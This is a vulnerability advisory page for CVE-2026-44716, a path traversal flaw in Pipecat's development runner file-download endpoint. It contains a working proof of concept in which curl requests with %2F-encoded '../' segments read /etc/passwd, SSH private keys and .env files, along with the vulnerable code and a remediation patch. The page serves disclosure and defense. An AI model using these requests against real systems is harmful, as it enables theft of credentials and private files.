Skip to main content

Pipecat CVE-2026-44716

HIGH
Path Traversal (CWE-22)
2026-05-15 https://github.com/pipecat-ai/pipecat GHSA-3363-2ph6-35wh
7.5
CVSS 3.1 · Vendor: https://github.com/pipecat-ai/pipecat
Share

Severity by source

Vendor (https://github.com/pipecat-ai/pipecat) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/pipecat-ai/pipecat) · only source for this CVE.

CVSS VectorVendor: https://github.com/pipecat-ai/pipecat

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 15, 2026 - 17:15 vuln.today
Analysis Generated
May 15, 2026 - 17:15 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on pipecat-ai (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 0.0.90.

DescriptionCVE.org

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access - including SSH private keys, credentials, and system files - with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

---

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249-264:

python
@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename
# ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join - only .resolve() does. Starlette strips literal ../ from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication - the runner does not implement any auth layer - so the request requires no credentials.

---

Proof of Concept

Step 1 - Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

python
# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

bash
pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" />

Step 2 - Exploit

bash
# Legitimate request - serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript
# Literal ../ - blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}
# %2F-encoded separators - bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# →
## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...
# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...
# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

RequestHTTP statusContent
GET /files/recording.txt200Legitimate file
GET /files/../../etc/passwd404Blocked - literal .. normalised away
GET /files/..%2F..%2Fetc%2Fpasswd200Full /etc/passwd
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa200RSA private key (BEGIN OPENSSH PRIVATE KEY)

<img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" />

---

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

---

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

python
@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()
# resolve AFTER join

    if not file_path.is_relative_to(allowed_base):
# containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

AnalysisAI

Path traversal in Pipecat's development runner allows unauthenticated remote attackers to read arbitrary files when the --folder flag is used. The /files/{filename:path} endpoint fails to validate paths containing %2F-encoded directory separators, bypassing Starlette's URL normalization. Fixed in version 1.2.0 with no public exploit identified at time of analysis.

Technical ContextAI

Pipecat is an AI pipeline framework (PyPI: pipecat-ai) that includes a development runner with an HTTP server. The runner's file download endpoint uses Python's pathlib to join user input with a base directory but fails to resolve or validate the resulting path. While Starlette normalizes literal ../ sequences in URLs, it decodes percent-encoded characters after routing, allowing attackers to inject path separators via %2F. This is a classic CWE-22 path traversal where URL-encoding bypasses security controls.

RemediationAI

Vendor-released patch: upgrade to pipecat-ai version 1.2.0 or later via pip install --upgrade pipecat-ai>=1.2.0. The fix adds path resolution and containment checks using pathlib's resolve() and is_relative_to() methods. If immediate patching is not possible, avoid using the --folder flag with the runner, or ensure the runner is only accessible on localhost (--host 127.0.0.1) rather than network interfaces. For additional details see the vendor advisory at https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-44716 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy